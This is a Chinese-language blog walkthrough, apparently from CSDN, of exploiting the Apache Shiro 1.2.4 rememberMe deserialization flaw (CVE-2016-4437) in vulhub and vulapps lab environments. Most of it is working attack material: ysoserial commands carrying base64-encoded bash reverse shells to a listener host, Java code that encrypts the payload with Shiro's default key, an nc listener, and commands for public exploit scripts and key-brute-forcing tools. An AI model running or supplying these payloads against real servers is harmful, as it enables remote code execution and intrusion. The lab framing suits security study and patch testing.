shiro1.2.4反序列化(CVE-2016-4437)


Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。

按照利用难度和危害我们依次分为:
shiro550 > shiro721 > shiro权限绕过
为什么叫shiro550 呢?
shiro550(硬加密):https://issues.apache.org/jira/browse/SHIRO-550
shiro721(Padding Oracle):https://issues.apache.org/jira/browse/SHIRO-721

shiro1.2.4反序列化(CVE-2016-4437)

影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含 rememberMe=deleteMe 字段。

漏洞原理

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

处理流程:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化

利用链和回显方式

https://www.freebuf.com/articles/web/277704.html
利用链:
CommonsBeanutils1(shiro自身的利用链)
CommonsCollections5
CommonsCollections7

回显方式:
TomcatEcho
SpringEcho

  1. 报错回显
  2. web中获取当前上下文对象(response、context、writer等)
  3. 可以出网情况下OOB(dns外带)

vulhub环境

使用vulhub搭建环境。
启动环境:

docker-compose up -d

判断shiro

随便填用户名密码,点击登录,并抓包
返回包中有rememberMe=deleteMe,基本可以确定网站是Apache Shiro搭建。
在这里插入图片描述

图形化工具利用

使用shiro反序列化漏洞综合利用工具

1、爆破秘钥

填入目标地址,关键字设置为rememberMe,点击爆破秘钥后会自动填入秘钥。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==

爆破原理:
当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段。
当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。
在这里插入图片描述
2、命令执行
在这里插入图片描述

ysoserial利用

1、生成Gadget

首先利用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI1My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

生成一个poc.ser文件

注意这里的反弹命令。
如果对方是windows系统,则是

java -jar ysoserial-all.jar CommonsBeanutils1 "bash -i >& /dev/tcp/192.168.43.145/1234 0>&1"

若是linux系统,则需要编码。可以编码的网址:https://ares-x.com/tools/runtime-exec/
在这里插入图片描述

2、加密

使用Shiro内置的默认密钥(kPH+bIxk5D2deZiIxcaaaA==)对Payload(poc.ser)进行加密。
加密代码:

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("D:\\idea\\javaweb\\poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

如果爆红,则是没有引包啊。
maven引入包:

<dependencies>
  <!-- https://mvnrepository.com/artifact/org.apache.shiro/shiro-core -->
  <dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
  </dependency>

然后就生成了加密cookie。

3、发送rememberMe

这个payload是反弹shell的,先开启监听:nc -lvvp 1234
发送rememberMe Cookie,即可成功执行反弹shell:
在这里插入图片描述

Shiro_exploit脚本利用

项目地址:https://github.com/insightglacier/Shiro_exploit

python3 shiro_exploit.py -t 3 -u http://192.168.43.19:8080/ -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI1My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述

vulapps环境

获取docker镜像,启动

docker pull medicean/vulapps:s_shiro_1
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

在这里插入图片描述

判断shiro

点击Log in,输入用户名密码点击登录并抓包

返回包中有rememberMe=deleteMe,基本可以确定网站是Apache Shiro搭建。

shiro-1.2.4_rce脚本利用

1、安装

下载shiro利用脚本,下载地址:https://github.com/zhzyker/shiro-1.2.4-rce
要用python3 执行,先pip下载依赖

pip install pycrypto
pip install Crypto

测试运行

python3 shiro-1.2.4_rce.py

在这里插入图片描述

2、运行命令

python3 shiro-1.2.4_rce.py  http://192.168.43.19:8081/

可以看到,首先爆破秘钥、利用链
在这里插入图片描述

爆破成功:
在这里插入图片描述

3、反弹shell

bash -i >& /dev/tcp/192.168.43.145/1234 0>&1

靶机是windows不需要编码
靶机是linux 系统需要编码之后,绕后再进行nc反弹

可以编码的网址:https://ares-x.com/tools/runtime-exec/
此脚本自带编码,而且编码后自动执行,反弹shell。
在这里插入图片描述

编码后payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE0NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

成功反弹shell

图形化工具利用

1、爆破秘钥

在这里插入图片描述
2、爆破利用链及回显
在这里插入图片描述3、命令执行

在这里插入图片描述

burp插件利用

下载地址:https://github.com/pmiaowu/BurpShiroPassiveScan
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kikkeve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值